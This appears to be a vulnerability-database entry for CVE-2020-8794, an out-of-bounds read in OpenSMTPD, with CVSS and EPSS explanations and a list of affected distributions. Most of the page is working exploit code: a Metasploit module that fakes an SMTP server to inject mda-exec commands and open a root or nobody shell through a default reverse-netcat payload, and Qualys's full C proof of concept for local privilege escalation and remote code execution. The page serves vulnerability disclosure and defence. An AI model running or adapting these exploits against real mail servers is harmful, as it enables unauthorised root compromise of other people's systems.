Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-125 |
Out-of-bounds Read
The product reads data past the end, or before the beginning, of the intended buffer. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
| V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 48185
Publication date : 2020-03-08
23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
# smtpd(8) may crash on a malformed message
Rank = AverageRanking
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Expect
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation',
'Description' => %q{
This module exploits an out-of-bounds read of an attacker-controlled
string in OpenSMTPD's MTA implementation to execute a command as the
root or nobody user, depending on the kind of grammar OpenSMTPD uses.
},
'Author' => [
'Qualys', # Discovery and PoC
'wvu' # Module
],
'References' => [
['CVE', '2020-8794'],
['URL', 'https://seclists.org/oss-sec/2020/q1/96']
],
'DisclosureDate' => '2020-02-24',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true, # NOTE: Only when exploiting new grammar
# Patched in 6.6.4: https://www.opensmtpd.org/security.html
# New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546
'Targets' => [
['OpenSMTPD < 6.6.4 (automatic grammar selection)',
patched_version: Gem::Version.new('6.6.4'),
new_grammar_version: Gem::Version.new('6.4.0')
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SRVPORT' => 25,
'PAYLOAD' => 'cmd/unix/reverse_netcat',
'WfsDelay' => 60 # May take a little while for mail to process
},
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))
register_advanced_options([
OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
])
# HACK: We need to run check in order to determine a grammar to use
options.remove_option('AutoCheck')
end
def srvhost_addr
Rex::Socket.source_address(session.session_host)
end
def rcpt_to
"#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]"
end
def check
smtpd_help = cmd_exec('smtpd -h')
if smtpd_help.empty?
return CheckCode::Unknown('smtpd(8) help could not be displayed')
end
version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first
unless version
return CheckCode::Unknown('OpenSMTPD version could not be found')
end
version = Gem::Version.new(version)
if version < target[:patched_version]
if version >= target[:new_grammar_version]
vprint_status("OpenSMTPD #{version} is using new grammar")
@grammar = :new
else
vprint_status("OpenSMTPD #{version} is using old grammar")
@grammar = :old
end
return CheckCode::Appears(
"OpenSMTPD #{version} appears vulnerable to CVE-2020-8794"
)
end
CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794")
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
start_service
sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true"
print_status("Executing local sendmail(8) command: #{sendmail}")
if cmd_exec(sendmail) != 'true'
fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?')
end
end
def on_client_connect(client)
print_status("Client #{client.peerhost}:#{client.peerport} connected")
# Brilliant work, Qualys!
case @grammar
when :new
print_status('Exploiting new OpenSMTPD grammar for a root shell')
yeet = <<~EOF
553-
553
dispatcher: local_mail
type: mda
mda-user: root
mda-exec: #{payload.encoded}; exit 0\x00
EOF
when :old
print_status('Exploiting old OpenSMTPD grammar for a nobody shell')
yeet = <<~EOF
553-
553
type: mda
mda-method: mda
mda-usertable: <getpwnam>
mda-user: nobody
mda-buffer: #{payload.encoded}; exit 0\x00
EOF
else
fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar')
end
sploit = {
'220' => /EHLO /,
'250' => /MAIL FROM:<[^>]/,
yeet => nil
}
print_status('Faking SMTP server and sending exploit')
sploit.each do |line, pattern|
send_expect(
line,
pattern,
sock: client,
newline: "\r\n",
timeout: datastore['ExpectTimeout']
)
end
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
ensure
print_status("Disconnecting client #{client.peerhost}:#{client.peerport}")
client.close
end
def on_client_close(client)
print_status("Client #{client.peerhost}:#{client.peerport} disconnected")
end
end
Exploit Database EDB-ID : 48140
Publication date : 2020-02-25
23h00 +00:00
Author : Qualys Corporation
EDB Verified : No
/*
* LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)
* Copyright (C) 2020 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
static enum {
CLIENT_SIDE_EXPLOIT,
SERVER_SIDE_EXPLOIT,
} exploit = CLIENT_SIDE_EXPLOIT;
static enum {
NEW_SMTPD_GRAMMAR,
OLD_SMTPD_GRAMMAR,
} grammar = NEW_SMTPD_GRAMMAR;
static struct {
const char * command;
const char * user;
const char * dispatcher;
const char * maildir;
char lines[512];
} inject = {
.command = "X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0",
.user = "root",
.dispatcher = "local_mail",
.maildir = NULL,
};
#define die() do { \
printf("died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
static struct addrinfo *
common_getaddrinfo(const char * const host, const char * const port)
{
const struct addrinfo hints = {
.ai_family = AF_INET,
.ai_socktype = SOCK_STREAM,
.ai_protocol = IPPROTO_TCP,
.ai_flags = AI_NUMERICHOST | AI_NUMERICSERV,
};
struct addrinfo * addr = NULL;
if (getaddrinfo(host, port, &hints, &addr) != 0) die();
if (addr == NULL || addr->ai_next != NULL) die();
return addr;
}
static const char *
common_getnameinfo(const struct sockaddr * const addr, const socklen_t addr_len)
{
static char host[NI_MAXHOST];
static char port[NI_MAXSERV];
if (getnameinfo(addr, addr_len, host, sizeof(host), port, sizeof(port),
NI_NUMERICHOST | NI_NUMERICSERV) != 0) die();
static char host_port[NI_MAXHOST + NI_MAXSERV];
if (snprintf(host_port, sizeof(host_port), "%s:%s", host, port) <= 0) die();
return host_port;
}
static void
common_send(const int fd, const char * const format, va_list ap)
{
if (fd <= -1) die();
static char buf[1024];
const int len = vsnprintf(buf, sizeof(buf), format, ap);
if (len <= 0 || (unsigned)len >= sizeof(buf)) die();
printf("--> %s%s", buf, buf[len-1] != '\n' ? "\n" : "");
const char * data = buf;
size_t size = len;
for (;;) {
const ssize_t sent = send(fd, data, size, MSG_NOSIGNAL);
if (sent <= 0) die();
if ((size_t)sent > size) die();
data += sent;
size -= sent;
if (size <= 0) return;
}
die();
}
static int listen_fd = -1;
static void
server_listen(void)
{
if (listen_fd != -1) die();
const struct addrinfo * const addr = common_getaddrinfo("0.0.0.0", "25");
listen_fd = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
if (listen_fd <= -1) die();
const int on = 1;
if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) != 0) die();
if (bind(listen_fd, addr->ai_addr, addr->ai_addrlen) != 0) die();
if (listen(listen_fd, 10) != 0) die();
printf("\nListening on %s\n",
common_getnameinfo(addr->ai_addr, addr->ai_addrlen));
}
static int server_fd = -1;
static void
server_accept(void)
{
struct sockaddr addr;
socklen_t addr_len = sizeof(addr);
if (listen_fd <= -1) die();
if (server_fd != -1) die();
server_fd = accept(listen_fd, &addr, &addr_len);
if (server_fd <= -1) die();
if (addr_len > sizeof(addr)) die();
const time_t now = time(NULL);
printf("\nConnection from %s\n%s",
common_getnameinfo(&addr, addr_len), ctime(&now));
const int on = 1;
if (setsockopt(server_fd, IPPROTO_TCP, TCP_NODELAY, &on, sizeof(on)) != 0) die();
}
static void
server_send(const char * const format, ...)
{
if (server_fd <= -1) die();
va_list ap;
va_start(ap, format);
common_send(server_fd, format, ap);
va_end(ap);
}
static char server_command[1024];
static void
server_recv(const char * const prefix)
{
if (server_fd <= -1) die();
const size_t prefix_len = strlen(prefix);
if (prefix_len < 4) die();
char * data = server_command;
size_t size = sizeof(server_command);
for (;;) {
const ssize_t rcvd = recv(server_fd, data, size, 0);
if (rcvd <= 0) die();
if ((size_t)rcvd >= size) die();
data += rcvd;
size -= rcvd;
data[0] = '\0';
if (data[-1] != '\n') continue;
if (strchr(server_command, '\n') != data - 1) die();
printf("<-- %s", server_command);
if (strncmp(server_command, prefix, prefix_len) != 0) die();
return;
}
die();
}
static void
server_close(void)
{
if (server_fd <= -1) die();
if (close(server_fd) != 0) die();
server_fd = -1;
}
static void
server_session(const char * const inject_lines)
{
const char * const error_code =
(exploit == SERVER_SIDE_EXPLOIT) ? "421" : "553";
server_accept();
server_send("220 ent.of.line ESMTP\n");
server_recv("EHLO ");
server_send("250 ent.of.line Hello\n");
server_recv("MAIL FROM:<");
if ((strncmp(server_command, "MAIL FROM:<>", 12) == 0) !=
(exploit == SERVER_SIDE_EXPLOIT)) die();
if (inject_lines != NULL) {
if (inject_lines[0] == '\0') die();
if (inject_lines[0] == '\n') die();
if (inject_lines[strlen(inject_lines)-1] == '\n') die();
server_send("%s-Error\n", error_code);
server_send("%s\n\n%s%c", error_code, inject_lines, (int)'\0');
} else {
server_send("%s Error\n", error_code);
server_recv("RSET");
server_send("250 Reset\n");
server_recv("QUIT");
server_send("221 Bye\n");
}
server_close();
}
static const struct addrinfo * client_target = NULL;
static const char * client_mail = NULL;
static const char * client_rcpt = NULL;
static int client_fd = -1;
static void
client_connect(void)
{
if (client_fd != -1) die();
client_fd = socket(client_target->ai_family, client_target->ai_socktype,
client_target->ai_protocol);
if (client_fd <= -1) die();
if (connect(client_fd, client_target->ai_addr,
client_target->ai_addrlen) != 0) die();
printf("\nConnected to %s\n",
common_getnameinfo(client_target->ai_addr, client_target->ai_addrlen));
}
static void
client_send(const char * const format, ...)
{
if (client_fd <= -1) die();
va_list ap;
va_start(ap, format);
common_send(client_fd, format, ap);
va_end(ap);
}
static char client_reply[1024];
static void
client_recv(const char * const prefix)
{
if (client_fd <= -1) die();
const size_t prefix_len = strlen(prefix);
if (prefix_len < 3) die();
char * data = client_reply;
size_t size = sizeof(client_reply);
const char * line = data;
for (;;) {
const ssize_t rcvd = recv(client_fd, data, size, 0);
if (rcvd <= 0) die();
if ((size_t)rcvd >= size) die();
data += rcvd;
size -= rcvd;
data[0] = '\0';
if (data[-1] != '\n') continue;
for (;;) {
const char * const new_line = strchr(line, '\n');
if (new_line == NULL) break;
if (new_line - line < 4) die();
printf("<-- %.*s", (int)(new_line - line + 1), line);
if (strncmp(line, prefix, prefix_len) != 0) die();
if (line[3] == ' ') {
if (new_line + 1 != data) die();
return;
}
if (line[3] != '-') die();
line = new_line + 1;
}
if (line != data) die();
}
die();
}
static void
client_close(void)
{
if (client_fd <= -1) die();
if (close(client_fd) != 0) die();
client_fd = -1;
}
static void
client_session(void)
{
client_connect();
client_recv("220 ");
client_send("HELP\n");
client_recv("214");
if (strstr(client_reply, "please contact
[email protected]") == NULL) die();
client_send("EHLO ent.of.line\n");
client_recv("250");
const int dsn = (strstr(client_reply, "250-DSN") != NULL);
client_send("MAIL FROM:<%s>\n", client_mail);
client_recv("250 ");
client_send("RCPT TO:<%s>%s\n", client_rcpt, dsn ? " NOTIFY=SUCCESS" : "");
client_recv("250 ");
client_send("DATA\n");
client_recv("354 Enter mail, end with ");
if (!dsn) {
client_send("Delivered-To: %s\n", client_rcpt);
}
client_send("\n");
client_send(".\n");
client_recv("250 ");
client_send("QUIT\n");
client_recv("221 ");
client_close();
}
int
main(int argc, char * const * argv)
{
setlinebuf(stdout);
puts("LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)");
puts("Copyright (C) 2020 Qualys, Inc.");
int opt;
while ((opt = getopt(argc, argv, "c:u:d:m:n")) != -1) {
switch (opt) {
case 'c':
inject.command = optarg;
break;
case 'u':
grammar = OLD_SMTPD_GRAMMAR;
inject.user = optarg;
break;
case 'd':
inject.dispatcher = optarg;
break;
case 'm':
grammar = OLD_SMTPD_GRAMMAR;
inject.maildir = optarg;
break;
case 'n':
grammar = NEW_SMTPD_GRAMMAR;
break;
default:
die();
}
}
if (grammar == NEW_SMTPD_GRAMMAR) {
const int len = snprintf(inject.lines, sizeof(inject.lines),
"type:mda\nmda-exec:%s\ndispatcher:%s\nmda-user:%s",
inject.command, inject.dispatcher, inject.user);
if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die();
} else if (grammar == OLD_SMTPD_GRAMMAR) {
const int len = snprintf(inject.lines, sizeof(inject.lines),
"type:mda\nmda-buffer:%s\nmda-method:%s\nmda-user:%s\nmda-usertable:<getpwnam>",
inject.maildir ? inject.maildir : inject.command,
inject.maildir ? "maildir" : "mda", inject.user);
if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die();
} else die();
argc -= optind;
argv += optind;
if (argc == 3) {
exploit = SERVER_SIDE_EXPLOIT;
client_target = common_getaddrinfo(argv[0], "25");
client_mail = argv[1];
client_rcpt = argv[2];
} else if (argc != 0) die();
server_listen();
if (exploit == CLIENT_SIDE_EXPLOIT) {
server_session(inject.lines);
} else if (exploit == SERVER_SIDE_EXPLOIT) {
client_session();
unsigned try;
for (try = 0; try < 1; try++) {
server_session(NULL);
puts("\nPlease wait for OpenSMTPD to connect back...");
}
server_session(inject.lines);
client_session();
server_session("type:invalid");
} else die();
exit(EXIT_SUCCESS);
}
Products Mentioned
Configuraton 0
Opensmtpd>>Opensmtpd >> Version To (excluding) 6.6.4
Configuraton 0
Canonical>>Ubuntu_linux >> Version 18.04
Canonical>>Ubuntu_linux >> Version 19.10
Configuraton 0
Fedoraproject>>Fedora >> Version 31
Fedoraproject>>Fedora >> Version 32
Configuraton 0
Debian>>Debian_linux >> Version 9.0
Debian>>Debian_linux >> Version 10.0
References
